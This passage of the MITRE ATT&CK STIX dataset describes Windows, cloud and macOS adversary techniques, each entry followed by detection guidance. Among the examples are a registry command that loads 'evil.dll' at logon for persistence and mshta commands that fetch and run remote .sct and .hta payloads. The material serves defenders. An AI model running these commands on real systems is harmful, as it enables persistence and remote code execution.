Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","type":"attack-pattern","created":"2020-03-12T20:43:53.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.010","url":"https://attack.mitre.org/techniques/T1574/010"},{"external_id":"CAPEC-17","source_name":"capec","url":"https://capec.mitre.org/data/definitions/17.html"}],"modified":"2020-09-16T19:10:04.262Z","name":"Services File Permissions Weakness","description":"Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Process: Process Creation","File: File Modification","Service: Service Metadata"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["SYSTEM","Administrator","User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","created":"2020-01-23T22:02:48.566Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547.001","url":"https://attack.mitre.org/techniques/T1547/001"},{"source_name":"Malwarebytes Wow6432Node 2016","url":"https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/","description":"Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020."},{"source_name":"Microsoft RunOnceEx APR 2018","url":"https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key","description":"Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018."},{"source_name":"Microsoft Wow6432Node 2018","url":"https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry","description":"Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020."},{"source_name":"Microsoft Run Key","url":"http://msdn.microsoft.com/en-us/library/aa376977","description":"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014."},{"source_name":"Oddvar Moe RunOnceEx Mar 2018","url":"https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/","description":"Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"url":"https://capec.mitre.org/data/definitions/270.html","source_name":"capec","external_id":"CAPEC-270"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","modified":"2022-04-20T16:28:54.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Registry Run Keys / Startup Folder","x_mitre_detection":"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","File: File Modification","Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1199","url":"https://attack.mitre.org/techniques/T1199"},{"source_name":"CISA IT Service Providers","url":"https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers","description":"CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020."}],"modified":"2021-03-08T10:33:01.045Z","name":"Trusted Relationship","description":"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.","x_mitre_version":"2.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content","Logon Session: Logon Session Metadata"]},{"x_mitre_platforms":["Azure AD","Office 365","IaaS","Google Workspace","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","created":"2020-01-29T17:32:30.711Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1136.003","url":"https://attack.mitre.org/techniques/T1136/003"},{"source_name":"Microsoft O365 Admin Roles","url":"https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide","description":"Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019."},{"source_name":"AWS Create IAM User","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html","description":"AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020."},{"source_name":"GCP Create Cloud Identity Users","url":"https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554","description":"Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020."},{"source_name":"Microsoft Azure AD Users","url":"https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory","description":"Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020."},{"source_name":"Microsoft Support O365 Add Another Admin, October 2019","url":"https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d","description":"Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.","modified":"2022-04-07T13:09:30.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cloud Account","x_mitre_detection":"Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","type":"attack-pattern","created":"2020-03-12T19:29:21.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1069.001","url":"https://attack.mitre.org/techniques/T1069/001"}],"modified":"2020-03-26T17:48:27.871Z","name":"Local Groups","description":"Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1149","url":"https://attack.mitre.org/techniques/T1149"},{"url":"https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf","description":"Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.","source_name":"Prolific OSX Malware History"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-03-30T13:53:57.518Z","name":"LC_MAIN Hijacking","description":"**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting","Whitelisting by file name or path"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","type":"attack-pattern","created":"2020-10-02T16:48:04.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1593","url":"https://attack.mitre.org/techniques/T1593"},{"source_name":"Cyware Social Media","url":"https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e","description":"Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."},{"source_name":"SecurityTrails Google Hacking","url":"https://securitytrails.com/blog/google-hacking-techniques","description":"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."},{"source_name":"ExploitDB GoogleHacking","url":"https://www.exploit-db.com/google-hacking-database","description":"Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."}],"modified":"2021-04-15T03:52:41.104Z","name":"Search Open Websites/Domains","description":"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","IaaS","Linux","macOS","Google Workspace","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)","Praetorian","Tim MalcomVetter","Wojciech Lesicki"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","created":"2017-05-31T21:31:12.196Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"T1098","url":"https://attack.mitre.org/techniques/T1098"},{"source_name":"Microsoft Security Event 4670","url":"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670","description":"Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019."},{"source_name":"Microsoft User Modified Event","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017."},{"source_name":"InsiderThreat ChangeNTLM July 2017","url":"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM","description":"Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017."},{"source_name":"GitHub Mimikatz Issue 92 June 2017","url":"https://github.com/gentilkiwi/mimikatz/issues/92","description":"Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).","modified":"2022-04-18T14:17:07.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Account Manipulation","x_mitre_detection":"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["File: File Modification","Group: Group Modification","Active Directory: Active Directory Object Modification","Process: Process Creation","User Account: User Account Modification","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ricardo Dias","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1170","url":"https://attack.mitre.org/techniques/T1170"},{"source_name":"Wikipedia HTML Application","description":"Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.","url":"https://en.wikipedia.org/wiki/HTML_Application"},{"source_name":"MSDN HTML Applications","description":"Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.","url":"https://msdn.microsoft.com/library/ms536471.aspx"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"},{"source_name":"Red Canary HTA Abuse Part Deux","description":"McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.","url":"https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html","description":"Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.","source_name":"FireEye Attacks Leveraging HTA"},{"description":"Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.","source_name":"Airbus Security Kovter Analysis","url":"https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"LOLBAS Mshta","url":"https://lolbas-project.github.io/lolbas/Binaries/Mshta/","description":"LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."}],"modified":"2022-01-19T21:19:03.910Z","name":"Mshta","description":"Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain","Alfredo Abarca"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","type":"attack-pattern","created":"2017-05-31T21:30:44.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1048","url":"https://attack.mitre.org/techniques/T1048"},{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. 